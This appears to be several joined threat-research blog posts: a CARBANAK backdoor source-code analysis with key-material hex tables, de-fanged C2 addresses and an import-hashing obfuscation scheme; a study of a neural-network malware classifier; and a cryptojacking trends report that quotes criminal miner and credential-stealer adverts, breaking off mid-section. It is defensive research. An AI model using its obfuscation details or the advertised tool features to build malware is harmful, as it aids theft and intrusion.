C3 9D 66 C9 2E 0A 19 EA C1 A3 78 30 44 52 B2 9F


C2 D2 55 32 5E 7D 66 4C 8B 7F 02 82 0B 35 45 18

24 76 09 2B 56 71 C6 63 C4 C5 87 AD ED 51 DA 2ª


01 6A F3 FA 6A F7 34 83 75 C6 94 EB 77 F1 C7 BB

7C 68 28 70 4D FB 6A 67 03 AE E2 D8 8B E9 E8 E0

2A 0F FB 39 13 BD 1B 46 6A D9 98 EA A6 3E 63 A8

2F A3 BD B3 E5 D6 85 98 4D 1C 06 2A AD 76 07 49

Table 5: Private key parameters

I found a value named PUBLIC_KEY defined in a configuration header, with comments indicating it was for debugging purposes. The parsed values are shown in Table 6.








0xA400 (CALG_RSA_KEYX) – RSA public key exchange algorithm








0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED

20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C

EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8

57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB

Table 6: Key parameters for PUBLIC_KEY defined in configuration header

Network Based Indicators

The source code and binaries contained multiple Network-Based Indicators (NBIs) having significant overlap with CARBANAK backdoor activity and FIN7 operations previously observed and documented by FireEye. Table 7 shows these indicators along with the associated FireEye public documentation. This includes the status of each NBI as it was encountered (active in source code, commented out, or compiled into a binary). Domain names are de-fanged to prevent accidental resolution or interaction by browsers, chat clients, etc.



Threat Group Association


Commented out

Earlier CARBANAK activity


Commented out

Earlier CARBANAK activity





Commented out






Commented out



Commented out



Commented out






Commented out

Earlier CARBANAK activity





Commented out



Commented out

Earlier CARBANAK activity







DNS infrastructure overlap with later FIN7 associated POWERSOURCE activity



Earlier CARBANAK activity

Table 7: NBIs and prevously observed activity

Four of these TCP endpoints (80.84.49[.]50:443, 52.11.125[.]44:443, 85.25.84[.]223, and 37.1.212[.]100:700) were new to me, although some have been documented elsewhere.


Our analysis of this source code dump confirmed it was CARBANAK and turned up a few new and interesting data points. We were able to notify vendors about disclosures that specifically targeted their security suites. The previously documented NBIs, Windows API function resolution, backdoor command hash values, usage of Windows cabinet file APIs, and other artifacts associated with CARBANAK all match, and as they say, if the shoe fits, wear it. Interestingly though, the project itself isn’t called CARBANAK or even Anunak as the information security community has come to call it based on the string artifacts found within the malware. The authors mainly refer to the malware as “bot” in the Visual Studio project, filenames, source code comments, output binaries, user interfaces, and manuals.

The breadth and depth of this analysis was a departure from the usual requests we receive on the FLARE team. The journey included learning some Russian, searching through a hundred thousand of lines of code for new information, and analyzing a few dozen binaries. In the end, I’m thankful I had the opportunity to take this request.

In the next post, Tom Bennett takes the reins to provide a retrospective on his and Barry Vengerik’s previous analysis in light of the source code. Part Four of CARBANAK Week is available as well.

CARBANAK Week Part One: A Rare Occurrence

It is very unusual for FLARE to analyze a prolifically-used, privately-developed backdoor only to later have the source code and operator tools fall into our laps. Yet this is the extraordinary circumstance that sets the stage for CARBANAK Week, a four-part blog series that commences with this post.

CARBANAK is one of the most full-featured backdoors around. It was used to perpetrate millions of dollars in financial crimes, largely by the group we track as FIN7. In 2017, Tom Bennett and Barry Vengerik published Behind the CARBANAK Backdoor, which was the product of a deep and broad analysis of CARBANAK samples and FIN7 activity across several years. On the heels of that publication, our colleague Nick Carr uncovered a pair of RAR archives containing CARBANAK source code, builders, and other tools (both available in VirusTotal: kb3r1p and apwmie).

FLARE malware analysis requests are typically limited to a few dozen files at most. But the CARBANAK source code was 20MB comprising 755 files, with 39 binaries and 100,000 lines of code. Our goal was to find threat intelligence we missed in our previous analyses. How does an analyst respond to a request with such breadth and open-ended scope? And what did we find?

My friend Tom Bennett and I spoke about this briefly in our 2018 FireEye Cyber Defense Summit talk, Hello, Carbanak! In this blog series, we will expound at length and share a written retrospective on the inferences drawn in our previous public analysis based on binary code reverse engineering. In this first part, I’ll discuss Russian language concerns, translated graphical user interfaces of CARBANAK tools, and anti-analysis tactics as seen from a source code perspective. We will also explain an interesting twist where analyzing the source code surprisingly proved to be just as difficult as analyzing the binary, if not more. There’s a lot here; buckle up!

File Encoding and Language Considerations

The objective of this analysis was to discover threat intelligence gaps and better protect our customers. To begin, I wanted to assemble a cross-reference of source code files and concepts of specific interest.

Reading the source code entailed two steps: displaying the files in the correct encoding, and learning enough Russian to be dangerous. Figure 1 shows CARBANAK source code in a text editor that is unaware of the correct encoding.

Figure 1: File without proper decoding

Two good file encoding guesses are UTF-8 and code page 1251 (Cyrillic). The files were mostly code page 1251 as shown in Figure 2.

Figure 2: Code Page 1251 (Cyrillic) source code

Figure 2 is a C++ header file defining error values involved in backdoor command execution. Most identifiers were in English, but some were not particularly descriptive. Ergo, the second and more difficult step was learning some Russian to benefit from the context offered by the source code comments.

FLARE has fluent Russian speakers, but I took it upon myself to minimize my use of other analysts’ time. To this end, I wrote a script to tear through files and create a prioritized vocabulary list. The script, which is available in the FireEye vocab_scraper GitHub repository, walks source directories finding all character sequences outside the printable lower ASCII range: decimal values 32 (the space character) through 126 (the tilde character “~”) inclusive. The script adds each word to a Python defaultdict_ and increments its count. Finally, the script orders this dictionary by frequency of occurrence and dumps it to a file.

The result was a 3,400+ word vocabulary list, partially shown in Figure 3.

Figure 3: Top 19 Cyrillic character sequences from the CARBANAK source code

I spent several hours on Russian language learning websites to study the pronunciation of Cyrillic characters and Russian words. Then, I looked up the top 600+ words and created a small dictionary. I added Russian language input to an analysis VM and used Microsoft’s on-screen keyboard (osk.exe) to navigate the Cyrillic keyboard layout and look up definitions.

One helpful effect of learning to pronounce Cyrillic characters was my newfound recognition of English loan words (words that are borrowed from English and transliterated to Cyrillic). My small vocabulary allowed me to read many comments without looking anything up. Table 1 shows a short sampling of some of the English loan words I encountered.


English Phonetic





f ah y L





s e r v e r





a d r e s





k o m a n d





b o t a





p l ah g ee n





s e r v ee s





p r o ts e s s




Table 1: Sampling of English loan words in the CARBANAK source code

Aside from source code comments, understanding how to read and type in Cyrillic came in handy for translating the CARBANAK graphical user interfaces I found in the source code dump. Figure 4 shows a Command and Control (C2) user interface for CARBANAK that I translated.

Figure 4: Translated C2 graphical user interface

These user interfaces included video management and playback applications as shown in Figure 5 and Figure 6 respectively. Tom will share some interesting work he did with these in a subsequent part of this blog series.

Figure 5: Translated video management application user interface

Figure 6: Translated video playback application user interface

Figure 7 shows the backdoor builder that was contained within the RAR archive of operator tools.

Figure 7: Translated backdoor builder application user interface

The operator RAR archive also contained an operator’s manual explaining the semantics of all the backdoor commands. Figure 8 shows the first few commands in this manual, both in Russian and English (translated).

Figure 8: Operator manual (left: original Russian; right: translated to English)

Down the Rabbit Hole: When Having Source Code Does Not Help

In simpler backdoors, a single function evaluates the command ID received from the C2 server and dispatches control to the correct function to carry out the command. For example, a backdoor might ask its C2 server for a command and receive a response bearing the command ID 0x67. The dispatch function in the backdoor will check the command ID against several different values, including 0x67, which as an example might call a function to shovel a reverse shell to the C2 server. Figure 9 shows a control flow graph of such a function as viewed in IDA Pro. Each block of code checks against a command ID and either passes control to the appropriate command handling code, or moves on to check for the next command ID.

Figure 9: A control flow graph of a simple command handling function

In this regard, CARBANAK is an entirely different beast. It utilizes a Windows mechanism called named pipes as a means of communication and coordination across all the threads, processes, and plugins under the backdoor’s control. When the CARBANAK tasking component receives a command, it forwards the command over a named pipe where it travels through several different functions that process the message, possibly writing it to one or more additional named pipes, until it arrives at its destination where the specified command is finally handled. Command handlers may even specify their own named pipe to request more data from the C2 server. When the C2 server returns the data, CARBANAK writes the result to this auxiliary named pipe and a callback function is triggered to handle the response data asynchronously. CARBANAK’s named pipe-based tasking component is flexible enough to control both inherent command handlers and plugins. It also allows for the possibility of a local client to dispatch commands to CARBANAK without the use of a network. In fact, not only did we write such a client to aid in analysis and testing, but such a client, named botcmd.exe, was also present in the source dump.

Tom’s Perspective

Analyzing this command-handling mechanism within CARBANAK from a binary perspective was certainly challenging. It required maintaining tabs for many different views into the disassembly, and a sort of textual map of command ids and named pipe names to describe the journey of an inbound command through the various pipes and functions before arriving at its destination. Figure 10 shows the control flow graphs for seven of the named pipe message handling functions. While it was difficult to analyze this from a binary reverse engineering perspective, having compiled code combined with the features that a good disassembler such as IDA Pro provides made it less harrowing than Mike’s experience. The binary perspective saved me from having to search across several source files and deal with ambiguous function names. The disassembler features allowed me to easily follow cross-references for functions and global variables and to open multiple, related views into the code.

Figure 10: Control flow graphs for the named pipe message handling functions

Mike’s Perspective

Having source code sounds like cheat-mode for malware analysis. Indeed, source code contains much information that is lost through the compilation and linking process. Even so, CARBANAK’s tasking component (for handling commands sent by the C2 server) serves as a counter-example. Depending on the C2 protocol used and the command being processed, control flow may take divergent paths through different functions only to converge again later and accomplish the same command. Analysis required bouncing around between almost 20 functions in 5 files, often backtracking to recover information about function pointers and parameters that were passed in from as many as 18 layers back. Analysis also entailed resolving matters of C++ class inheritance, scope ambiguity, overloaded functions, and control flow termination upon named pipe usage. The overall effect was that this was difficult to analyze, even in source code.

I only embarked on this top-to-bottom journey once, to search for any surprises. The effort gave me an appreciation for the baroque machinery the authors constructed either for the sake of obfuscation or flexibility. I felt like this was done at least in part to obscure relationships and hinder timely analysis.

Anti-Analysis Mechanisms in Source Code

CARBANAK’s executable code is filled with logic that pushes hexadecimal numbers to the same function, followed by an indirect call against the returned value. This is easily recognizable as obfuscated function import resolution, wherein CARBANAK uses a simple string hash known as PJW (named after its author, P.J. Weinberger) to locate Windows API functions without disclosing their names. A Python implementation of the PJW hash is shown in Figure 11 for reference.

def pjw_hash(s):
    ctr = 0
    for i in range(len(s)):
        ctr = 0xffffffff & ((ctr << 4) + ord(s[i]))
        if ctr & 0xf0000000:
            ctr = (((ctr & 0xf0000000) >> 24) ^ ctr) & 0x0fffffff


    return ctr

Figure 11: PJW hash

This is used several hundred times in CARBANAK samples and impedes understanding of the malware’s functionality. Fortunately, reversers can use the flare-ida scripts to annotate the obfuscated imports, as shown in Figure 12.

Figure 12: Obfuscated import resolution annotated with FLARE's shellcode hash search

The CARBANAK authors achieved this obfuscated import resolution throughout their backdoor with relative ease using C preprocessor macros and a pre-compilation source code scanning step to calculate function hashes. Figure 13 shows the definition of the relevant API macro and associated machinery.

Figure 13: API macro for import resolution

The API macro allows the author to type API(SHLWAPI, PathFindFileNameA)(…) and have it replaced with GetApiAddrFunc(SHLWAPI, hashPathFindFileNameA)(…). SHLWAPI is a symbolic macro defined to be the constant 3, and hashPathFindFileNameA is the string hash value 0xE3685D1 as observed in the disassembly. But how was the hash defined?

The CARBANAK source code has a utility (unimaginatively named tool) that scans source code for invocations of the API macro to build a header file defining string hashes for all the Windows API function names encountered in the entire codebase. Figure 14 shows the source code for this utility along with its output file, api_funcs_hash.h.

Figure 14: Source code and output from string hash utility

When I reverse engineer obfuscated malware, I can’t help but try to theorize about how authors implement their obfuscations. The CARBANAK source code gives another data point into how malware authors wield the powerful C preprocessor along with custom code scanning and code generation tools to obfuscate without imposing an undue burden on developers. This might provide future perspective in terms of what to expect from malware authors in the future and may help identify units of potential code reuse in future projects as well as rate their significance. It would be trivial to apply this to new projects, but with the source code being on VirusTotal, this level of code sharing may not represent shared authorship. Also, the source code is accessibly instructive in why malware would push an integer as well as a hash to resolve functions: because the integer is an index into an array of module handles that are opened in advance and associated with these pre-defined integers.


The CARBANAK source code is illustrative of how these malware authors addressed some of the practical concerns of obfuscation. Both the tasking code and the Windows API resolution system represent significant investments in throwing malware analysts off the scent of this backdoor. Check out Part Two of this series for a round-up of antivirus evasions, exploits, secrets, key material, authorship artifacts, and network-based indicators. Part Three and Part Four are available now as well!

What are Deep Neural Networks Learning About Malware?

An increasing number of modern antivirus solutions rely on machine learning (ML) techniques to protect users from malware. While ML-based approaches, like FireEye Endpoint Security’s MalwareGuard capability, have done a great job at detecting new threats, they also come with substantial development costs. Creating and curating a large set of useful features takes significant amounts of time and expertise from malware analysts and data scientists (note that in this context a feature refers to a property or characteristic of the executable that can be used to distinguish between goodware and malware). In recent years, however, deep learning approaches have shown impressive results in automatically learning feature representations for complex problem domains, like images, speech, and text. Can we take advantage of these advances in deep learning to automatically learn how to detect malware without costly feature engineering?

As it turns out, deep learning architectures, and in particular convolutional neural networks (CNNs), can do a good job of detecting malware simply by looking at the raw bytes of Windows Portable Executable (PE) files. Over the last two years, FireEye has been experimenting with deep learning architectures for malware classification, as well as methods to evade them. Our experiments have demonstrated surprising levels of accuracy that are competitive with traditional ML-based solutions, while avoiding the costs of manual feature engineering. Since the initial presentation of our findings, other researchers have published similarly impressive results, with accuracy upwards of 96%.

Since these deep learning models are only looking at the raw bytes without any additional structural, semantic, or syntactic context, how can they possibly be learning what separates goodware from malware? In this blog post, we answer this question by analyzing FireEye’s deep learning-based malware classifier.


  • FireEye’s deep learning classifier can successfully identify malware using only the unstructured bytes of the Windows PE file.
  • Import-based features, like names and function call fingerprints, play a significant role in the features learned across all levels of the classifier.
  • Unlike other deep learning application areas, where low-level features tend to generally capture properties across all classes, many of our low-level features focused on very specific sequences primarily found in malware.
  • End-to-end analysis of the classifier identified important features that closely mirror those created through manual feature engineering, which demonstrates the importance of classifier depth in capturing meaningful features.


Before we dive into our analysis, let’s first discuss what a CNN classifier is doing with Windows PE file bytes. Figure 1 shows the high-level operations performed by the classifier while “learning” from the raw executable data. We start with the raw byte representation of the executable, absent any structure that might exist (1). This raw byte sequence is embedded into a high-dimensional space where each byte is replaced with an n-dimensional vector of values (2). This embedding step allows the CNN to learn relationships among the discrete bytes by moving them within the n-dimensional embedding space. For example, if the bytes 0xe0 and 0xe2 are used interchangeably, then the CNN can move those two bytes closer together in the embedding space so that the cost of replacing one with the other is small. Next, we perform convolutions over the embedded byte sequence (3). As we do this across our entire training set, our convolutional filters begin to learn the characteristics of certain sequences that differentiate goodware from malware (4). In simpler terms, we slide a fixed-length window across the embedded byte sequence and the convolutional filters learn the important features from across those windows. Once we have scanned the entire sequence, we can then pool the convolutional activations to select the best features from each section of the sequence (i.e., those that maximally activated the filters) to pass along to the next level (5). In practice, the convolution and pooling operations are used repeatedly in a hierarchical fashion to aggregate many low-level features into a smaller number of high-level features that are more useful for classification. Finally, we use the aggregated features from our pooling as input to a fully-connected neural network, which classifies the PE file sample as either goodware or malware (6).

Figure 1: High-level overview of a convolutional neural network applied to raw bytes from a Windows PE files.

The specific deep learning architecture that we analyze here actually has five convolutional and max pooling layers arranged in a hierarchical fashion, which allows it to learn complex features by combining those discovered at lower levels of the hierarchy. To efficiently train such a deep neural network, we must restrict our input sequences to a fixed length – truncating any bytes beyond this length or using special padding symbols to fill out smaller files. For this analysis, we chose an input length of 100KB, though we have experimented with lengths upwards of 1MB. We trained our CNN model on more than 15 million Windows PE files, 80% of which were goodware and the remainder malware. When evaluated against a test set of nearly 9 million PE files observed in the wild from June to August 2018, the classifier achieves an accuracy of 95.1% and an F1 score of 0.96, which are on the higher end of scores reported by previous work.

In order to figure out what this classifier has learned about malware, we will examine each component of the architecture in turn. At each step, we use either a sample of 4,000 PE files taken from our training data to examine broad trends, or a smaller set of six artifacts from the NotPetya, WannaCry, and BadRabbit ransomware families to examine specific features.

Bytes in (Embedding) Space

The embedding space can encode interesting relationships that the classifier has learned about the individual bytes and determine whether certain bytes are treated differently than others because of their implied importance to the classifier’s decision. To tease out these relationships, we will use two tools: (1) a dimensionality reduction technique called multi-dimensional scaling (MDS) and (2) a density-based clustering method called HDBSCAN. The dimensionality reduction technique allows us to move from the high-dimensional embedding space to an approximation in two-dimensional space that we can easily visualize, while still retaining the overall structure and organization of the points. Meanwhile, the clustering technique allows us to identify dense groups of points, as well as outliers that have no nearby points. The underlying intuition being that outliers are treated as “special” by the model since there are no other points that can easily replace them without a significant change in upstream calculations, while dense clusters of points can be used interchangeably.

Figure 2: Visualization of the byte embedding space using multi-dimensional scaling (MDS) and clustered with hierarchical density-based clustering (HDBSCAN) with clusters (Left) and outliers labeled (Right).

On the left side of Figure 2, we show the two-dimensional representation of our byte embedding space with each of the clusters labeled, along with an outlier cluster labeled as -1. As you can see, the vast majority of bytes fall into one large catch-all class (Cluster 3), while the remaining three clusters have just two bytes each. Though there are no obvious semantic relationships in these clusters, the bytes that were included are interesting in their own right – for instance, Cluster 0 includes our special padding byte that is only used when files are smaller than the fixed-length cutoff, and Cluster 1 includes the ASCII character ‘r.’

What is more fascinating, however, is the set of outliers that the clustering produced, which are shown in the right side of Figure 3.  Here, there are a number of intriguing trends that start to appear. For one, each of the bytes in the range 0x0 to 0x6 are present, and these bytes are often used in short forward jumps or when registers are used as instruction arguments (e.g., eax, ebx, etc.). Interestingly, 0x7 and 0x8 are grouped together in Cluster 2, which may indicate that they are used interchangeably in our training data even though 0x7 could also be interpreted as a register argument. Another clear trend is the presence of several ASCII characters in the set of outliers, including ‘\n’, ‘A’, ‘e’, ‘s’, and ‘t.’ Finally, we see several opcodes present, including the call instruction (0xe8), loop and loopne (0xe0, 0xe2), and a breakpoint instruction (0xcc).

Given these findings, we immediately get a sense of what the classifier might be looking for in low-level features: ASCII text and usage of specific types of instructions.

Deciphering Low-Level Features

The next step in our analysis is to examine the low-level features learned by the first layer of convolutional filters. In our architecture, we used 96 convolutional filters at this layer, each of which learns basic building-block features that will be combined across the succeeding layers to derive useful high-level features. When one of these filters sees a byte pattern that it has learned in the current convolution, it will produce a large activation value and we can use that value as a method for identifying the most interesting bytes for each filter. Of course, since we are examining the raw byte sequences, this will merely tell us which file offsets to look at, and we still need to bridge the gap between the raw byte interpretation of the data and something that a human can understand. To do so, we parse the file using PEFile and apply BinaryNinja’s disassembler to executable sections to make it easier to identify common patterns among the learned features for each filter.

Since there are a large number of filters to examine, we can narrow our search by getting a broad sense of which filters have the strongest activations across our sample of 4,000 Windows PE files and where in those files those activations occur. In Figure 3, we show the locations of the 100 strongest activations across our 4,000-sample dataset. This shows a couple of interesting trends, some of which could be expected and others that are perhaps more surprising. For one, the majority of the activations at this level in our architecture occur in the ‘.text’ section, which typically contains executable code. When we compare the ‘.text’ section activations between malware and goodware subsets, there are significantly more activations for the malware set, meaning that even at this low level there appear to be certain filters that have keyed in on specific byte sequences primarily found in malware. Additionally, we see that the ‘UNKNOWN’ section– basically, any activation that occurs outside the valid bounds of the PE file – has many more activations in the malware group than in goodware. This makes some intuitive sense since many obfuscation and evasion techniques rely on placing data in non-standard locations (e.g., embedding PE files within one another).

Figure 3: Distribution of low-level activation locations across PE file headers and sections. Overall distribution of activations (Left), and activations for goodware/malware subsets (Right). UNKNOWN indicates an area outside the valid bounds of the file and NULL indicates an empty section name.

We can also examine the activation trends among the convolutional filters by plotting the top-100 activations for each filter across our 4,000 PE files, as shown in Figure 4. Here, we validate our intuition that some of these filters are overwhelmingly associated with features found in our malware samples. In this case, the activations for Filter 57 occur almost exclusively in the malware set, so that will be an important filter to look at later in our analysis. The other main takeaway from the distribution of filter activations is that the distribution is quite skewed, with only two filters handling the majority of activations at this level in our architecture. In fact, some filters are not activated at all on the set of 4,000 files we are analyzing.

Figure 4: Distribution of activations over each of the 96 low-level convolutional filters. Overall distribution of activations (Left), and activations for goodware/malware subsets (Right).

Now that we have identified the most interesting and active filters, we can disassemble the areas surrounding their activation locations and see if we can tease out some trends. In particular, we are going to look at Filters 83 and 57, both of which were important filters in our model based on activation value. The disassembly results for these filters across several of our ransomware artifacts is shown in Figure 5.

For Filter 83, the trend in activations becomes pretty clear when we look at the ASCII encoding of the bytes, which shows that the filter has learned to detect certain types of imports. If we look closer at the activations (denoted with a ‘*’), these always seem to include characters like ‘r’, ‘s’, ‘t’, and ‘e’, all of which were identified as outliers or found in their own unique clusters during our embedding analysis.  When we look at the disassembly of Filter 57’s activations, we see another clear pattern, where the filter activates on sequences containing multiple push instructions and a call instruction – essentially, identifying function calls with multiple parameters.

In some ways, we can look at Filters 83 and 57 as detecting two sides of the same overarching behavior, with Filter 83 detecting the imports and 57 detecting the potential use of those imports (i.e., by fingerprinting the number of parameters and usage). Due to the independent nature of convolutional filters, the relationships between the imports and their usage (e.g., which imports were used where) is lost, and that the classifier treats these as two completely independent features.

Figure 5: Example disassembly of activations for filters 83 (Left) and 57 (Right) from ransomware samples. Lines prepended with '*' contain the actual filter activations, others are provided for context.

Aside from the import-related features described above, our analysis also identified some filters that keyed in on particular byte sequences found in functions containing exploit code, such as DoublePulsar or EternalBlue. For instance, Filter 94 activated on portions of the EternalRomance exploit code from the BadRabbit artifact we analyzed. Note that these low-level filters did not necessarily detect the specific exploit activity, but instead activate on byte sequences within the surrounding code in the same function.

These results indicate that the classifier has learned some very specific byte sequences related to ASCII text and instruction usage that relate to imports, function calls, and artifacts found within exploit code. This finding is surprising because in other machine learning domains, such as images, low-level filters often learn generic, reusable features across all classes.

Bird’s Eye View of End-to-End Features

While it seems that lower layers of our CNN classifier have learned particular byte sequences, the larger question is: does the depth and complexity of our classifier (i.e., the number of layers) help us extract more meaningful features as we move up the hierarchy? To answer this question, we have to examine the end-to-end relationships between the classifier’s decision and each of the input bytes. This allows us to directly evaluate each byte (or segment thereof) in the input sequence and see whether it pushed the classifier toward a decision of malware or goodware, and by how much. To accomplish this type of end-to-end analysis, we leverage the SHapley Additive exPlanations (SHAP) framework developed by Lundberg and Lee. In particular, we use the GradientSHAP method that combines a number of techniques to precisely identify the contributions of each input byte, with positive SHAP values indicating areas that can be considered to be malicious features and negative values for benign features.

After applying the GradientSHAP method to our ransomware dataset, we noticed that many of the most important end-to-end features were not directly related to the types of specific byte sequences that we discovered at lower layers of the classifier. Instead, many of the end-to-end features that we discovered mapped closely to features developed from manual feature engineering in our traditional ML models. As an example, the end-to-end analysis on our ransomware samples identified several malicious features in the checksum portion of the PE header, which is commonly used as a feature in traditional ML models. Other notable end-to-end features included the presence or absence of certain directory information related to certificates used to sign the PE files, anomalies in the section table that define the properties of the various sections of the PE file, and specific imports that are often used by malware (e.g., GetProcAddress and VirtualAlloc).

In Figure 6, we show the distribution of SHAP values across the file offsets for the worm artifact of the WannaCry ransomware family. Many of the most important malicious features found in this sample are focused in the PE header structures, including previously mentioned checksum and directory-related features. One particularly interesting observation from this sample, though, is that it contains another PE file embedded within it, and the CNN discovered two end-to-end features related to this. First, it identified an area of the section table that indicated the ‘.data’ section had a virtual size that was more than 10x larger than the stated physical size of the section. Second, it discovered maliciously-oriented imports and exports within the embedded PE file itself. Taken as a whole, these results show that the depth of our classifier appears to have helped it learn more abstract features and generalize beyond the specific byte sequences we observed in the activations at lower layers.

Figure 6: SHAP values for file offsets from the worm artifact of WannaCry. File offsets with positive values are associated with malicious end-to-end features, while offsets with negative values are associated with benign features.


In this blog post, we dove into the inner workings of FireEye’s byte-based deep learning classifier in order to understand what it, and other deep learning classifiers like it, are learning about malware from its unstructured raw bytes. Through our analysis, we have gained insight into a number of important aspects of the classifier’s operation, weaknesses, and strengths:

  • Import Features: Import-related features play a large role in classifying malware across all levels of the CNN architecture. We found evidence of ASCII-based import features in the embedding layer, low-level convolutional features, and end-to-end features.
  • Low-Level Instruction Features: Several features discovered at the lower layers of our CNN classifier focused on sequences of instructions that capture specific behaviors, such as particular types of function calls or code surrounding certain types of exploits. In many cases, these features were primarily associated with malware, which runs counter to the typical use of CNNs in other domains, such as image classification, where low-level features capture generic aspects of the data (e.g., lines and simple shapes). Additionally, many of these low-level features did not appear in the most malicious end-to-end features.
  • End-to-End Features: Perhaps the most interesting result of our analysis is that many of the most important maliciously-oriented end-to-end features closely map to common manually-derived features from traditional ML classifiers. Features like the presence or absence of certificates, obviously mangled checksums, and inconsistencies in the section table do not have clear analogs to the lower-level features we uncovered. Instead, it appears that the depth and complexity of our CNN classifier plays a key role in generalizing from specific byte sequences to meaningful and intuitive features.

It is clear that deep learning offers a promising path toward sustainable, cutting-edge malware classification. At the same time, significant improvements will be necessary to create a viable real-world solution that addresses the shortcomings discussed in this article. The most important next step will be improving the architecture to include more information about the structural, semantic, and syntactic context of the executable rather than treating it as an unstructured byte sequence. By adding this specialized domain knowledge directly into the deep learning architecture, we allow the classifier to focus on learning relevant features for each context, inferring relationships that would not be possible otherwise, and creating even more robust end-to-end features with better generalization properties.

The content of this blog post is based on research presented at the Conference on Applied Machine Learning for Information Security (CAMLIS) in Washington, DC on Oct. 12-13, 2018. Additional material, including slides and a video of the presentation, can be found on the conference website.

How the Rise of Cryptocurrencies Is Shaping the Cyber Crime Landscape: The Growth of Miners


Cyber criminals tend to favor cryptocurrencies because they provide a certain level of anonymity and can be easily monetized. This interest has increased in recent years, stemming far beyond the desire to simply use cryptocurrencies as a method of payment for illicit tools and services. Many actors have also attempted to capitalize on the growing popularity of cryptocurrencies, and subsequent rising price, by conducting various operations aimed at them. These operations include malicious cryptocurrency mining (also referred to as cryptojacking), the collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.

This blog post discusses the various trends that we have been observing related to cryptojacking activity, including cryptojacking modules being added to popular malware families, an increase in drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, cryptojacking as a threat to critical infrastructure, and observed distribution mechanisms.

What Is Mining?

As transactions occur on a blockchain, those transactions must be validated and propagated across the network. As computers connected to the blockchain network (aka nodes) validate and propagate the transactions across the network, the miners include those transactions into "blocks" so that they can be added onto the chain. Each block is cryptographically hashed, and must include the hash of the previous block, thus forming the "chain" in blockchain. In order for miners to compute the complex hashing of each valid block, they must use a machine's computational resources. The more blocks that are mined, the more resource-intensive solving the hash becomes. To overcome this, and accelerate the mining process, many miners will join collections of computers called "pools" that work together to calculate the block hashes. The more computational resources a pool harnesses, the greater the pool's chance of mining a new block. When a new block is mined, the pool's participants are rewarded with coins. Figure 1 illustrates the roles miners play in the blockchain network.

Figure 1: The role of miners

Underground Interest

FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency mining-related topics dating back to at least 2009 within underground communities. Keywords that yielded significant volumes include miner, cryptonight, stratum, xmrig, and cpuminer. While searches for certain keywords fail to provide context, the frequency of these cryptocurrency mining-related keywords shows a sharp increase in conversations beginning in 2017 (Figure 2). It is probable that at least a subset of actors prefer cryptojacking over other types of financially motivated operations due to the perception that it does not attract as much attention from law enforcement.

Figure 2: Underground keyword mentions

Monero Is King

The majority of recent cryptojacking operations have overwhelmingly focused on mining Monero, an open-source cryptocurrency based on the CryptoNote protocol, as a fork of Bytecoin. Unlike many cryptocurrencies, Monero uses a unique technology called "ring signatures," which shuffles users' public keys to eliminate the possibility of identifying a particular user, ensuring it is untraceable. Monero also employs a protocol that generates multiple, unique single-use addresses that can only be associated with the payment recipient and are unfeasible to be revealed through blockchain analysis, ensuring that Monero transactions are unable to be linked while also being cryptographically secure.

The Monero blockchain also uses what's called a "memory-hard" hashing algorithm called CryptoNight and, unlike Bitcoin's SHA-256 algorithm, it deters application-specific integrated circuit (ASIC) chip mining. This feature is critical to the Monero developers and allows for CPU mining to remain feasible and profitable. Due to these inherent privacy-focused features and CPU-mining profitability, Monero has become an attractive option for cyber criminals.

Underground Advertisements for Miners

Because most miner utilities are small, open-sourced tools, many criminals rely on crypters. Crypters are tools that employ encryption, obfuscation, and code manipulation techniques to keep their tools and malware fully undetectable (FUD). Table 1 highlights some of the most commonly repurposed Monero miner utilities.

XMR Mining Utilities











Table 1: Commonly used Monero miner utilities

The following are sample advertisements for miner utilities commonly observed in underground forums and markets. Advertisements typically range from stand-alone miner utilities to those bundled with other functions, such as credential harvesters, remote administration tool (RAT) behavior, USB spreaders, and distributed denial-of-service (DDoS) capabilities.

Sample Advertisement #1 (Smart Miner + Builder)

In early April 2018, actor "Mon£y" was observed by FireEye iSIGHT Intelligence selling a Monero miner for $80 USD – payable via Bitcoin, Bitcoin Cash, Ether, Litecoin, or Monero – that included unlimited builds, free automatic updates, and 24/7 support. The tool, dubbed Monero Madness (Figure 3), featured a setting called Madness Mode that configures the miner to only run when the infected machine is idle for at least 60 seconds. This allows the miner to work at its full potential without running the risk of being identified by the user. According to the actor, Monero Madness also provides the following features:

  • Unlimited builds
  • Builder GUI (Figure 4)
  • Written in AutoIT (no dependencies)
  • FUD
  • Safer error handling
  • Uses most recent XMRig code
  • Customizable pool/port
  • Packed with UPX
  • Works on all Windows OS (32- and 64-bit)
  • Madness Mode option

Figure 3: Monero Madness

Figure 4: Monero Madness builder

Sample Advertisement #2 (Miner + Telegram Bot Builder)

In March 2018, FireEye iSIGHT Intelligence observed actor "kent9876" advertising a Monero cryptocurrency miner called Goldig Miner (Figure 5). The actor requested payment of $23 USD for either CPU or GPU build or $50 USD for both. Payments could be made with Bitcoin, Ether, Litecoin, Dash, or PayPal. The miner ostensibly offers the following features:

  • Written in C/C++
  • Build size is small (about 100–150 kB)
  • Hides miner process from popular task managers
  • Can run without Administrator privileges (user-mode)
  • Auto-update ability
  • All data encoded with 256-bit key
  • Access to Telegram bot-builder
  • Lifetime support (24/7) via Telegram

Figure 5: Goldig Miner advertisement

Sample Advertisement #3 (Miner + Credential Stealer)

In March 2018, FireEye iSIGHT Intelligence observed actor "TH3FR3D" offering a tool dubbed Felix (Figure 6) that combines a cryptocurrency miner and credential stealer. The actor requested payment of $50 USD payable via Bitcoin or Ether. According to the advertisement, the Felix tool boasted the following features:

  • Written in C# (Version
  • Browser stealer for all major browsers (cookies, saved passwords, auto-fill)
  • Monero miner (uses pool by default, but can be configured)
  • Filezilla stealer
  • Desktop file grabber (.txt and more)
  • Can download and execute files
  • Update ability
  • USB spreader functionality
  • PHP web panel

Figure 6: Felix HTTP

Sample Advertisement #4 (Miner + RAT)

